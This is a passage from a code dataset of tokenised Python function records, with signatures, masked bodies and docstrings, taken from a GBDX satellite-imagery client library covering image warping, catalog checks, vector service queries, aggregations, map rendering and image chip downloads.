pyproj.Proj(init=proj))<EOL>itfm = partial(pyproj.transform, pyproj.Proj(init=proj), pyproj.Proj(init=from_proj))<EOL>output_bounds = ops.transform(tfm, box(*current_bounds)).bounds<EOL>gtf = Affine.from_gdal(output_bounds[<NUM_LIT:0>], gsd, <NUM_LIT:0.0>, output_bounds[<NUM_LIT:3>], <NUM_LIT:0.0>, -<NUM_LIT:1> * gsd)<EOL>ll = ~gtf * (output_bounds[:<NUM_LIT:2>])<EOL>ur = ~gtf * (output_bounds[<NUM_LIT:2>:])<EOL>x_chunks = int((ur[<NUM_LIT:0>] - ll[<NUM_LIT:0>]) / x_size) + <NUM_LIT:1><EOL>y_chunks = int((ll[<NUM_LIT:1>] - ur[<NUM_LIT:1>]) / y_size) + <NUM_LIT:1><EOL>num_bands = self.shape[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>dtype = RDA_TO_DTYPE[img_md[\"<STR_LIT>\"]]<EOL><DEDENT>except:<EOL><INDENT>dtype = '<STR_LIT>'<EOL><DEDENT>daskmeta = {<EOL>\"<STR_LIT>\": {},<EOL>\"<STR_LIT>\": (num_bands, y_size, x_size),<EOL>\"<STR_LIT>\": dtype,<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\".format(self.name),<EOL>\"<STR_LIT>\": (num_bands, y_chunks * y_size, x_chunks * x_size)<EOL>}<EOL>def px_to_geom(xmin, ymin):<EOL><INDENT>xmax = int(xmin + x_size)<EOL>ymax = int(ymin + y_size)<EOL>bounds = list((gtf * (xmin, ymax)) + (gtf * (xmax, ymin)))<EOL>return box(*bounds)<EOL><DEDENT>full_bounds = box(*output_bounds)<EOL>dasks = []<EOL>if isinstance(dem, GeoDaskImage):<EOL><INDENT>if dem.proj != proj:<EOL><INDENT>dem = dem.warp(proj=proj, dem=dem)<EOL><DEDENT>dasks.append(dem.dask)<EOL><DEDENT>for y in xrange(y_chunks):<EOL><INDENT>for x in xrange(x_chunks):<EOL><INDENT>xmin = x * x_size<EOL>ymin = y * y_size<EOL>geometry = px_to_geom(xmin, ymin)<EOL>daskmeta[\"<STR_LIT>\"][(daskmeta[\"<STR_LIT:name>\"], <NUM_LIT:0>, y, x)] = (self._warp, geometry, gsd, dem, proj, dtype, <NUM_LIT:5>)<EOL><DEDENT><DEDENT>daskmeta[\"<STR_LIT>\"], _ = optimization.cull(HighLevelGraph.merge(daskmeta[\"<STR_LIT>\"], *dasks), list(daskmeta[\"<STR_LIT>\"].keys()))<EOL>gi = mapping(full_bounds)<EOL>gt = AffineTransform(gtf, proj)<EOL>image = GeoDaskImage(daskmeta, __geo_interface__ = gi, __geo_transform__ = gt)<EOL>return image[box(*output_bounds)]<EOL>", "docstring": "Delayed warp across an entire AOI or Image\n\n        Creates a new dask image by deferring calls to the warp_geometry on chunks\n\n        Args:\n            dem (ndarray): optional. A DEM for warping to specific elevation planes\n            proj (str): optional. An EPSG proj string to project the image data into (\"EPSG:32612\")\n\n        Returns:\n            daskarray: a warped image as deferred image array", "id": "f7081:c2:m10"}
{"signature": "def _parse_geoms(self, **kwargs):", "body": "bbox = kwargs.get('<STR_LIT>', None)<EOL>wkt_geom = kwargs.get('<STR_LIT>', None)<EOL>geojson = kwargs.get('<STR_LIT>', None)<EOL>if bbox is not None:<EOL><INDENT>g = box(*bbox)<EOL><DEDENT>elif wkt_geom is not None:<EOL><INDENT>g = wkt.loads(wkt_geom)<EOL><DEDENT>elif geojson is not None:<EOL><INDENT>g = shape(geojson)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>if self.proj is None:<EOL><INDENT>return g<EOL><DEDENT>else:<EOL><INDENT>return self._reproject(g, from_proj=kwargs.get('<STR_LIT>', '<STR_LIT>'))<EOL><DEDENT>", "docstring": "Finds supported geometry types, parses them and returns the bbox", "id": "f7081:c2:m13"}
{"signature": "def is_ordered(cat_id):", "body": "url = '<STR_LIT>'.format(cat_id)<EOL>auth = Auth()<EOL>r = _req_with_retries(auth.gbdx_connection, url)<EOL>if r is not None:<EOL><INDENT>return r.status_code == <NUM_LIT:200><EOL><DEDENT>return False<EOL>", "docstring": "Checks to see if a CatalogID has been ordered or not.\n\nArgs:\n  catalogID (str): The catalog ID from the platform catalog.\nReturns:\n  ordered (bool): Whether or not the image has been ordered", "id": "f7083:m4"}
{"signature": "def can_acomp(cat_id):", "body": "url = '<STR_LIT>'.format(cat_id)<EOL>auth = Auth()<EOL>r = _req_with_retries(auth.gbdx_connection, url)<EOL>try: <EOL><INDENT>data = r.json()<EOL>return data['<STR_LIT>'] is not None<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks to see if a CatalogID can be atmos. compensated or not.\n\nArgs:\n  catalogID (str): The catalog ID from the platform catalog.\nReturns:\n  available (bool): Whether or not the image can be acomp'd", "id": "f7083:m5"}
{"signature": "@lru_cache(maxsize=<NUM_LIT>)<EOL>def load_url(url, shape=(<NUM_LIT:8>, <NUM_LIT>, <NUM_LIT>)):", "body": "thread_id = threading.current_thread().ident<EOL>_curl = _curl_pool[thread_id]<EOL>_curl.setopt(_curl.URL, url)<EOL>_curl.setopt(pycurl.NOSIGNAL, <NUM_LIT:1>)<EOL>_, ext = os.path.splitext(urlparse(url).path)<EOL>with NamedTemporaryFile(prefix=\"<STR_LIT>\", suffix=\"<STR_LIT:.>\"+ext, delete=False) as temp: <EOL><INDENT>_curl.setopt(_curl.WRITEDATA, temp.file)<EOL>_curl.perform()<EOL>code = _curl.getinfo(pycurl.HTTP_CODE)<EOL>try:<EOL><INDENT>if(code != <NUM_LIT:200>):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(url, code))<EOL><DEDENT>arr = np.rollaxis(imread(temp), <NUM_LIT:2>, <NUM_LIT:0>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(e)<EOL>temp.seek(<NUM_LIT:0>)<EOL>print(temp.read())<EOL>arr = np.zeros(shape, dtype=np.uint8)<EOL>_curl.close()<EOL>del _curl_pool[thread_id]<EOL><DEDENT>finally:<EOL><INDENT>temp.file.flush()<EOL>temp.close()<EOL>os.remove(temp.name)<EOL><DEDENT>return arr<EOL><DEDENT>", "docstring": "Loads a geotiff url inside a thread and returns as an ndarray", "id": "f7086:m0"}
{"signature": "def _tile_coords(self, bounds):", "body": "tfm = partial(pyproj.transform,<EOL>pyproj.Proj(init=\"<STR_LIT>\"),<EOL>pyproj.Proj(init=\"<STR_LIT>\"))<EOL>bounds = ops.transform(tfm, box(*bounds)).bounds<EOL>west, south, east, north = bounds<EOL>epsilon = <NUM_LIT><EOL>if east != west and north != south:<EOL><INDENT>west += epsilon<EOL>south += epsilon<EOL>east -= epsilon<EOL>north -= epsilon<EOL><DEDENT>params = [west, south, east, north, [self.zoom_level]]<EOL>tile_coords = [(tile.x, tile.y) for tile in mercantile.tiles(*params)]<EOL>xtiles, ytiles = zip(*tile_coords)<EOL>minx = min(xtiles)<EOL>miny = min(ytiles)<EOL>maxx = max(xtiles) <EOL>maxy = max(ytiles)<EOL>return minx, miny, maxx, maxy<EOL>", "docstring": "convert mercator bbox to tile index limits", "id": "f7086:c1:m11"}
{"signature": "def update_options(*dict_args):", "body": "result = {}<EOL>for dictionary in dict_args:<EOL><INDENT>result.update(dictionary)<EOL><DEDENT>return result<EOL>", "docstring": "Given any number of dicts, shallow copy and merge into a new dict,\nprecedence goes to key value pairs in latter dicts.", "id": "f7091:m0"}
{"signature": "@classmethod<EOL><INDENT>def is_ordered(cls, cat_id):<DEDENT>", "body": "return is_ordered(cat_id)<EOL>", "docstring": "Checks to see if a CatalogID has been ordered or not. \n\nArgs:\n  catalogID (str): The catalog ID from the platform catalog.\nReturns:\n  ordered (bool): Whether or not the image has been ordered", "id": "f7094:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def acomp_available(cls, cat_id):<DEDENT>", "body": "return can_acomp(cat_id)<EOL>", "docstring": "Checks to see if a CatalogID can be atmos. compensated or not.\n\nArgs:\n  catalogID (str): The catalog ID from the platform catalog.\nReturns:\n  available (bool): Whether or not the image can be acomp'd", "id": "f7094:c0:m2"}
{"signature": "def __init__(self, **kwargs):", "body": "interface = Auth(**kwargs)<EOL>self.gbdx_connection = interface.gbdx_connection<EOL>self.logger = interface.logger<EOL>self.query_url = '<STR_LIT>'<EOL>self.query_index_url = '<STR_LIT>'<EOL>self.query_page_url = '<STR_LIT>'<EOL>self.query_index_page_url = '<STR_LIT>'<EOL>self.page_url = '<STR_LIT>'<EOL>self.get_url = '<STR_LIT>'<EOL>self.create_url = '<STR_LIT>'<EOL>self.aggregations_url = '<STR_LIT>'<EOL>self.aggregations_by_index_url = '<STR_LIT>'<EOL>", "docstring": "Construct the Vectors interface class\n\n        Returns:\n            An instance of the Vectors interface class.", "id": "f7095:c0:m0"}
{"signature": "def create(self,vectors):", "body": "if type(vectors) is dict:<EOL><INDENT>vectors = [vectors]<EOL><DEDENT>for vector in vectors:<EOL><INDENT>if not '<STR_LIT>' in list(vector.keys()):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if not '<STR_LIT>' in list(vector['<STR_LIT>'].keys()):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if not '<STR_LIT>' in list(vector['<STR_LIT>'].keys()):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>r = self.gbdx_connection.post(self.create_url, data=json.dumps(vectors))<EOL>r.raise_for_status()<EOL>return r.json()<EOL>", "docstring": "Create a vectors in the vector service.\n\n        Args:\n            vectors: A single geojson vector or a list of geojson vectors. Item_type and ingest_source are required.\n\n        Returns:\n            (list): IDs of the vectors created\n\n        Example:\n            >>> vectors.create(\n            ...     {\n            ...         \"type\": \"Feature\",\n            ...         \"geometry\": {\n            ...             \"type\": \"Point\",\n            ...             \"coordinates\": [1.0,1.0]\n            ...         },\n            ...         \"properties\": {\n            ...             \"text\" : \"item text\",\n            ...             \"name\" : \"item name\",\n            ...             \"item_type\" : \"type\",\n            ...             \"ingest_source\" : \"source\",\n            ...             \"attributes\" : {\n            ...                 \"latitude\" : 1,\n            ...                 \"institute_founded\" : \"2015-07-17\",\n            ...                 \"mascot\" : \"moth\"\n            ...             }\n            ...         }\n            ...     }\n            ... )", "id": "f7095:c0:m1"}
{"signature": "def create_from_wkt(self, wkt, item_type, ingest_source, **attributes):", "body": "<EOL>geojson = load_wkt(wkt).__geo_interface__<EOL>vector = {<EOL>'<STR_LIT:type>': \"<STR_LIT>\",<EOL>'<STR_LIT>': geojson,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': item_type,<EOL>'<STR_LIT>': ingest_source,<EOL>'<STR_LIT>': attributes<EOL>}<EOL>}<EOL>return self.create(vector)[<NUM_LIT:0>]<EOL>", "docstring": "Create a single vector in the vector service\n\nArgs:\n    wkt (str): wkt representation of the geometry\n    item_type (str): item_type of the vector\n    ingest_source (str): source of the vector\n    attributes: a set of key-value pairs of attributes\n\nReturns:\n    id (str): string identifier of the vector created", "id": "f7095:c0:m2"}
{"signature": "def get(self, ID, index='<STR_LIT>'):", "body": "url = self.get_url % index<EOL>r = self.gbdx_connection.get(url + ID)<EOL>r.raise_for_status()<EOL>return r.json()<EOL>", "docstring": "Retrieves a vector.  Not usually necessary because searching is the best way to find & get stuff.\n\n        Args:\n            ID (str): ID of the vector object\n            index (str): Optional.  Index the object lives in.  defaults to 'vector-web-s'\n\n        Returns:\n            record (dict): A dict object identical to the json representation of the catalog record", "id": "f7095:c0:m3"}
{"signature": "def query(self, searchAreaWkt, query, count=<NUM_LIT:100>, ttl='<STR_LIT>', index=default_index):", "body": "if count < <NUM_LIT:1000>:<EOL><INDENT>search_area_polygon = from_wkt(searchAreaWkt)<EOL>left, lower, right, upper = search_area_polygon.bounds<EOL>params = {<EOL>\"<STR_LIT:q>\": query,<EOL>\"<STR_LIT:count>\": min(count,<NUM_LIT:1000>),<EOL>\"<STR_LIT:left>\": left,<EOL>\"<STR_LIT:right>\": right,<EOL>\"<STR_LIT>\": lower,<EOL>\"<STR_LIT>\": upper<EOL>}<EOL>url = self.query_index_url % index if index else self.query_url<EOL>r = self.gbdx_connection.get(url, params=params)<EOL>r.raise_for_status()<EOL>return r.json()<EOL><DEDENT>else:<EOL><INDENT>return list(self.query_iteratively(searchAreaWkt, query, count, ttl, index))<EOL><DEDENT>", "docstring": "Perform a vector services query using the QUERY API\n(https://gbdxdocs.digitalglobe.com/docs/vs-query-list-vector-items-returns-default-fields)\n\nArgs:\n    searchAreaWkt: WKT Polygon of area to search\n    query: Elastic Search query\n    count: Maximum number of results to return\n    ttl: Amount of time for each temporary vector page to exist\n\nReturns:\n    List of vector results", "id": "f7095:c0:m4"}
{"signature": "def query_iteratively(self, searchAreaWkt, query, count=<NUM_LIT:100>, ttl='<STR_LIT>', index=default_index):", "body": "search_area_polygon = from_wkt(searchAreaWkt)<EOL>left, lower, right, upper = search_area_polygon.bounds<EOL>params = {<EOL>\"<STR_LIT:q>\": query,<EOL>\"<STR_LIT:count>\": min(count,<NUM_LIT:1000>),<EOL>\"<STR_LIT>\": ttl,<EOL>\"<STR_LIT:left>\": left,<EOL>\"<STR_LIT:right>\": right,<EOL>\"<STR_LIT>\": lower,<EOL>\"<STR_LIT>\": upper<EOL>}<EOL>url = self.query_index_page_url % index if index else self.query_page_url<EOL>r = self.gbdx_connection.get(url, params=params)<EOL>r.raise_for_status()<EOL>page = r.json()<EOL>paging_id = page['<STR_LIT>']<EOL>item_count = int(page['<STR_LIT>'])<EOL>data = page['<STR_LIT:data>']<EOL>num_results = <NUM_LIT:0><EOL>for vector in data:<EOL><INDENT>num_results += <NUM_LIT:1><EOL>if num_results > count: break<EOL>yield vector<EOL><DEDENT>if num_results == count:<EOL><INDENT>return<EOL><DEDENT>while paging_id and item_count > <NUM_LIT:0> and num_results < count:<EOL><INDENT>headers = {'<STR_LIT:Content-Type>':'<STR_LIT>'}<EOL>data = {<EOL>\"<STR_LIT>\": paging_id,<EOL>\"<STR_LIT>\": ttl<EOL>}<EOL>r = self.gbdx_connection.post(self.page_url, headers=headers, data=data)<EOL>r.raise_for_status()<EOL>page = r.json()<EOL>paging_id = page['<STR_LIT>']<EOL>item_count = int(page['<STR_LIT>'])<EOL>data = page['<STR_LIT:data>']<EOL>for vector in data:<EOL><INDENT>num_results += <NUM_LIT:1><EOL>if num_results > count: break<EOL>yield vector<EOL><DEDENT><DEDENT>", "docstring": "Perform a vector services query using the QUERY API\n(https://gbdxdocs.digitalglobe.com/docs/vs-query-list-vector-items-returns-default-fields)\n\nArgs:\n    searchAreaWkt: WKT Polygon of area to search\n    query: Elastic Search query\n    count: Maximum number of results to return\n    ttl: Amount of time for each temporary vector page to exist\n\nReturns:\n    generator of vector results", "id": "f7095:c0:m5"}
{"signature": "def aggregate_query(self, searchAreaWkt, agg_def, query=None, start_date=None, end_date=None, count=<NUM_LIT:10>, index=default_index):", "body": "geojson = load_wkt(searchAreaWkt).__geo_interface__<EOL>aggs_str = str(agg_def) <EOL>params = {<EOL>\"<STR_LIT:count>\": count,<EOL>\"<STR_LIT>\": aggs_str<EOL>}<EOL>if query:<EOL><INDENT>params['<STR_LIT>'] = query<EOL><DEDENT>if start_date:<EOL><INDENT>params['<STR_LIT>'] = start_date<EOL><DEDENT>if end_date:<EOL><INDENT>params['<STR_LIT>'] = end_date<EOL><DEDENT>url = self.aggregations_by_index_url % index if index else self.aggregations_url<EOL>r = self.gbdx_connection.post(url, params=params, json=geojson)<EOL>r.raise_for_status()<EOL>return r.json(object_pairs_hook=OrderedDict)['<STR_LIT>']<EOL>", "docstring": "Aggregates results of a query into buckets defined by the 'agg_def' parameter.  The aggregations are\n        represented by dicts containing a 'name' key and a 'terms' key holding a list of the aggregation buckets.\n        Each bucket element is a dict containing a 'term' key containing the term used for this bucket, a 'count' key\n        containing the count of items that match this bucket, and an 'aggregations' key containing any child\n        aggregations.\n\n        Args:\n            searchAreaWkt (str): wkt representation of the geometry\n            agg_def (str or AggregationDef): the aggregation definitions\n            query (str): a valid Elasticsearch query string to constrain the items going into the aggregation\n            start_date (str): either an ISO-8601 date string or a 'now' expression (e.g. \"now-6d\" or just \"now\")\n            end_date (str): either an ISO-8601 date string or a 'now' expression (e.g. \"now-6d\" or just \"now\")\n            count (int): the number of buckets to include in the aggregations (the top N will be returned)\n            index (str): the index (or alias or wildcard index expression) to run aggregations against, set to None for the entire set of vector indexes\n\n        Returns:\n            results (list): A (usually single-element) list of dict objects containing the aggregation results.", "id": "f7095:c0:m6"}
{"signature": "def tilemap(self, query, styles={}, bbox=[-<NUM_LIT>,-<NUM_LIT>,<NUM_LIT>,<NUM_LIT>], zoom=<NUM_LIT:16>, <EOL>api_key=os.environ.get('<STR_LIT>', None), <EOL>image=None, image_bounds=None,<EOL>index=\"<STR_LIT>\", name=\"<STR_LIT>\", **kwargs):", "body": "try:<EOL><INDENT>from IPython.display import display<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>assert api_key is not None, \"<STR_LIT>\"<EOL>wkt = box(*bbox).wkt<EOL>features = self.query(wkt, query, index=index)<EOL>union = cascaded_union([shape(f['<STR_LIT>']) for f in features])<EOL>lon, lat = union.centroid.coords[<NUM_LIT:0>]<EOL>url = '<STR_LIT>';<EOL>url += '<STR_LIT>'.format(query, index);<EOL>if styles is not None and not isinstance(styles, list):<EOL><INDENT>styles = [styles]<EOL><DEDENT>map_id = \"<STR_LIT>\".format(str(int(time.time())))<EOL>map_data = VectorTileLayer(url, source_name=name, styles=styles, **kwargs)<EOL>image_layer = self._build_image_layer(image, image_bounds)<EOL>template = BaseTemplate(map_id, **{<EOL>\"<STR_LIT>\": lat,<EOL>\"<STR_LIT>\": lon,<EOL>\"<STR_LIT>\": zoom,<EOL>\"<STR_LIT>\": json.dumps(map_data.datasource),<EOL>\"<STR_LIT>\": json.dumps(map_data.layers),<EOL>\"<STR_LIT>\": image_layer,<EOL>\"<STR_LIT>\": api_key,<EOL>\"<STR_LIT>\": self.gbdx_connection.access_token<EOL>})<EOL>template.inject()<EOL>", "docstring": "Renders a mapbox gl map from a vector service query", "id": "f7095:c0:m7"}
{"signature": "def map(self, features=None, query=None, styles=None,<EOL>bbox=[-<NUM_LIT>,-<NUM_LIT>,<NUM_LIT>,<NUM_LIT>], zoom=<NUM_LIT:10>, center=None, <EOL>image=None, image_bounds=None, cmap='<STR_LIT>',<EOL>api_key=os.environ.get('<STR_LIT>', None), **kwargs):", "body": "try:<EOL><INDENT>from IPython.display import display<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>assert api_key is not None, \"<STR_LIT>\"<EOL>if features is None and query is not None:<EOL><INDENT>wkt = box(*bbox).wkt<EOL>features = self.query(wkt, query, index=None)<EOL><DEDENT>elif features is None and query is None and image is None:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>if styles is not None and not isinstance(styles, list):<EOL><INDENT>styles = [styles]<EOL><DEDENT>geojson = {\"<STR_LIT:type>\":\"<STR_LIT>\", \"<STR_LIT>\": features}<EOL>if center is None and features is not None:<EOL><INDENT>union = cascaded_union([shape(f['<STR_LIT>']) for f in features])<EOL>lon, lat = union.centroid.coords[<NUM_LIT:0>]<EOL><DEDENT>elif center is None and image is not None:<EOL><INDENT>try:<EOL><INDENT>lon, lat = shape(image).centroid.coords[<NUM_LIT:0>]<EOL><DEDENT>except:<EOL><INDENT>lon, lat = box(*image_bounds).centroid.coords[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>lat, lon = center<EOL><DEDENT>map_id = \"<STR_LIT>\".format(str(int(time.time())))<EOL>map_data = VectorGeojsonLayer(geojson, styles=styles, **kwargs)<EOL>image_layer = self._build_image_layer(image, image_bounds, cmap)<EOL>template = BaseTemplate(map_id, **{<EOL>\"<STR_LIT>\": lat, <EOL>\"<STR_LIT>\": lon, <EOL>\"<STR_LIT>\": zoom,<EOL>\"<STR_LIT>\": json.dumps(map_data.datasource),<EOL>\"<STR_LIT>\": json.dumps(map_data.layers),<EOL>\"<STR_LIT>\": image_layer,<EOL>\"<STR_LIT>\": api_key,<EOL>\"<STR_LIT>\": '<STR_LIT>'<EOL>})<EOL>template.inject()<EOL>", "docstring": "Renders a mapbox gl map from a vector service query or a list of geojson features\n\nArgs:\n  features (list): a list of geojson features\n  query (str): a VectorServices query \n  styles (list): a list of VectorStyles to apply to the features  \n  bbox (list): a bounding box to query for features ([minx, miny, maxx, maxy])\n  zoom (int): the initial zoom level of the map\n  center (list): a list of [lat, lon] used to center the map\n  api_key (str): a valid Mapbox API key\n  image (dict): a CatalogImage or a ndarray\n  image_bounds (list): a list of bounds for image positioning \n  Use outside of GBDX Notebooks requires a MapBox API key, sign up for free at https://www.mapbox.com/pricing/\n  Pass the key using the `api_key` keyword or set an environmental variable called `MAPBOX API KEY`\n  cmap (str): MatPlotLib colormap to use for rendering single band images (default: viridis)", "id": "f7095:c0:m8"}
{"signature": "def __init__(self, agg_type=None, value=None, children=None):", "body": "self.agg_type = agg_type<EOL>self.value = value<EOL>self.children = children<EOL>", "docstring": "Constructs an aggregation definition.  Possible 'agg_type' values include:\n         'geohash', 'date_hist', 'terms', 'avg', 'sum', 'cardinality' , 'avg_geo_lat', 'avg_geo_lon'.\n         The 'value' parameter is specific to whichever aggregation type is specified.  For more,\n         detail, please see the VectorServices aggregation REST API documentation.\n\n        Args:\n            agg_type(str): the aggregation type to define\n            value(str): a value to supplement the type, often indicating how to divide up buckets\n            children(str or AggregationDef): any child aggregations to be run on each bucket\n\n        Returns:\n            the created AggregationDef", "id": "f7095:c1:m0"}
{"signature": "def __repr__(self):", "body": "if self.value:<EOL><INDENT>base = '<STR_LIT>' % (self.agg_type, self.value)<EOL><DEDENT>else:<EOL><INDENT>base = '<STR_LIT:%s>' % self.agg_type<EOL><DEDENT>if self.children:<EOL><INDENT>if isinstance(self.children, six.string_types):<EOL><INDENT>return '<STR_LIT>' % (base, self.children)<EOL><DEDENT>elif isinstance(self.children, AggregationDef):<EOL><INDENT>return '<STR_LIT>' % (base, self.children.__repr__())<EOL><DEDENT>else: <EOL><INDENT>kids = []<EOL>for child in self.children:<EOL><INDENT>kids.append(child.__repr__())<EOL><DEDENT>kids_str = '<STR_LIT>' % '<STR_LIT:U+002C>'.join(kids)<EOL>return '<STR_LIT>' % (base, kids_str)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return base<EOL><DEDENT>", "docstring": "Creates a string representation of an aggregation definition suitable for use in VectorServices calls\n\n        Returns:\n            A string representation of an aggregation definition suitable for use in VectorServices calls", "id": "f7095:c1:m1"}
{"signature": "def __init__(self, **kwargs):", "body": "interface = Auth(**kwargs)<EOL>self.base_url = '<STR_LIT>' % interface.root_url<EOL>self.gbdx_connection = interface.gbdx_connection<EOL>self.catalog = Catalog()<EOL>self.logger = interface.logger<EOL>", "docstring": "Construct the Idaho interface class.\n\n            Returns:\n                An instance of the Idaho interface class.", "id": "f7096:c0:m0"}
{"signature": "def get_images_by_catid_and_aoi(self, catid, aoi_wkt):", "body": "self.logger.debug('<STR_LIT>')<EOL>url = '<STR_LIT>' % self.base_url<EOL>body = {\"<STR_LIT>\": [\"<STR_LIT>\" % catid],<EOL>\"<STR_LIT>\": [\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": aoi_wkt}<EOL>r = self.gbdx_connection.post(url, data=json.dumps(body))<EOL>r.raise_for_status()<EOL>if r.status_code == <NUM_LIT:200>:<EOL><INDENT>results = r.json()<EOL>numresults = len(results['<STR_LIT>'])<EOL>self.logger.debug('<STR_LIT>'<EOL>% (numresults, catid))<EOL>return results<EOL><DEDENT>", "docstring": "Retrieves the IDAHO image records associated with a given catid.\n        Args:\n            catid (str): The source catalog ID from the platform catalog.\n            aoi_wkt (str): The well known text of the area of interest.\n        Returns:\n            results (json): The full catalog-search response for IDAHO images\n                            within the catID.", "id": "f7096:c0:m1"}
{"signature": "def get_images_by_catid(self, catid):", "body": "self.logger.debug('<STR_LIT>')<EOL>footprint = self.catalog.get_strip_footprint_wkt(catid)<EOL>try:<EOL><INDENT>footprint = from_wkt(footprint).geoms[<NUM_LIT:0>].wkt<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>if not footprint:<EOL><INDENT>self.logger.debug(\"\"\"<STR_LIT>\"\"\" % catid)<EOL>return None<EOL><DEDENT>return self.get_images_by_catid_and_aoi(catid=catid,<EOL>aoi_wkt=footprint)<EOL>", "docstring": "Retrieves the IDAHO image records associated with a given catid.\n        Args:\n            catid (str): The source catalog ID from the platform catalog.\n        Returns:\n            results (json): The full catalog-search response for IDAHO images\n                            within the catID.", "id": "f7096:c0:m2"}
{"signature": "def describe_images(self, idaho_image_results):", "body": "results = idaho_image_results['<STR_LIT>']<EOL>results = [r for r in results if '<STR_LIT>' in r['<STR_LIT:type>']]<EOL>self.logger.debug('<STR_LIT>' % len(results))<EOL>catids = set([r['<STR_LIT>']['<STR_LIT>'] for r in results])<EOL>description = {}<EOL>for catid in catids:<EOL><INDENT>description[catid] = {}<EOL>description[catid]['<STR_LIT>'] = {}<EOL>images = [r for r in results if r['<STR_LIT>']['<STR_LIT>'] == catid]<EOL>for image in images:<EOL><INDENT>description[catid]['<STR_LIT>'] = image['<STR_LIT>']['<STR_LIT>']<EOL>part = int(image['<STR_LIT>']['<STR_LIT>'].split('<STR_LIT::>')[<NUM_LIT:1>][-<NUM_LIT:3>:])<EOL>color = image['<STR_LIT>']['<STR_LIT>']<EOL>bucket = image['<STR_LIT>']['<STR_LIT>']<EOL>identifier = image['<STR_LIT>']<EOL>boundstr = image['<STR_LIT>']['<STR_LIT>']<EOL>try:<EOL><INDENT>description[catid]['<STR_LIT>'][part]<EOL><DEDENT>except:<EOL><INDENT>description[catid]['<STR_LIT>'][part] = {}<EOL><DEDENT>description[catid]['<STR_LIT>'][part][color] = {}<EOL>description[catid]['<STR_LIT>'][part][color]['<STR_LIT:id>'] = identifier<EOL>description[catid]['<STR_LIT>'][part][color]['<STR_LIT>'] = bucket<EOL>description[catid]['<STR_LIT>'][part][color]['<STR_LIT>'] = boundstr<EOL><DEDENT><DEDENT>return description<EOL>", "docstring": "Describe the result set of a catalog search for IDAHO images.\n\n        Args:\n            idaho_image_results (dict): Result set of catalog search.\n        Returns:\n            results (json): The full catalog-search response for IDAHO images\n                            corresponding to the given catID.", "id": "f7096:c0:m3"}
{"signature": "def get_chip(self, coordinates, catid, chip_type='<STR_LIT>', chip_format='<STR_LIT>', filename='<STR_LIT>'):", "body": "def t2s1(t):<EOL><INDENT>return str(t).strip('<STR_LIT>').replace('<STR_LIT:U+002C>', '<STR_LIT>')<EOL><DEDENT>def t2s2(t):<EOL><INDENT>return str(t).strip('<STR_LIT>').replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL><DEDENT>if len(coordinates) != <NUM_LIT:4>:<EOL><INDENT>print('<STR_LIT>')<EOL>return False<EOL><DEDENT>W, S, E, N = coordinates<EOL>box = ((W, S), (W, N), (E, N), (E, S), (W, S))<EOL>box_wkt = '<STR_LIT>' + '<STR_LIT:U+002C>'.join([t2s1(corner) for corner in box]) + '<STR_LIT>'<EOL>results = self.get_images_by_catid_and_aoi(catid=catid, aoi_wkt=box_wkt)<EOL>description = self.describe_images(results)<EOL>pan_id, ms_id, num_bands = None, None, <NUM_LIT:0><EOL>for catid, images in description.items():<EOL><INDENT>for partnum, part in images['<STR_LIT>'].items():<EOL><INDENT>if '<STR_LIT>' in part.keys():<EOL><INDENT>pan_id = part['<STR_LIT>']['<STR_LIT:id>']<EOL>bucket = part['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in part.keys():<EOL><INDENT>ms_id = part['<STR_LIT>']['<STR_LIT:id>']<EOL>num_bands = <NUM_LIT:8><EOL>bucket = part['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in part.keys():<EOL><INDENT>ms_id = part['<STR_LIT>']['<STR_LIT:id>']<EOL>num_bands = <NUM_LIT:4><EOL>bucket = part['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT><DEDENT><DEDENT>band_str = '<STR_LIT>'<EOL>if chip_type == '<STR_LIT>':<EOL><INDENT>band_str = pan_id + '<STR_LIT>'<EOL><DEDENT>elif chip_type == '<STR_LIT>':<EOL><INDENT>band_str = ms_id + '<STR_LIT:?>'<EOL><DEDENT>elif chip_type == '<STR_LIT>':<EOL><INDENT>if num_bands == <NUM_LIT:8>:<EOL><INDENT>band_str = ms_id + '<STR_LIT>' + pan_id<EOL><DEDENT>elif num_bands == <NUM_LIT:4>:<EOL><INDENT>band_str = ms_id + '<STR_LIT>' + pan_id<EOL><DEDENT><DEDENT>location_str = '<STR_LIT>'.format(t2s2((W, N)), t2s2((E, S)))<EOL>service_url = '<STR_LIT>' + bucket + '<STR_LIT:/>'<EOL>url = service_url + band_str + location_str<EOL>url += '<STR_LIT>' + chip_format + '<STR_LIT>' + self.gbdx_connection.access_token<EOL>r = requests.get(url)<EOL>if r.status_code == <NUM_LIT:200>:<EOL><INDENT>with open(filename, '<STR_LIT:wb>') as f:<EOL><INDENT>f.write(r.content)<EOL>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>return False<EOL><DEDENT>", "docstring": "Downloads a native resolution, orthorectified chip in tif format\n        from a user-specified catalog id.\n\n        Args:\n            coordinates (list): Rectangle coordinates in order West, South, East, North.\n                                West and East are longitudes, North and South are latitudes.\n                                The maximum chip size is (2048 pix)x(2048 pix)\n            catid (str): The image catalog id.\n            chip_type (str): 'PAN' (panchromatic), 'MS' (multispectral), 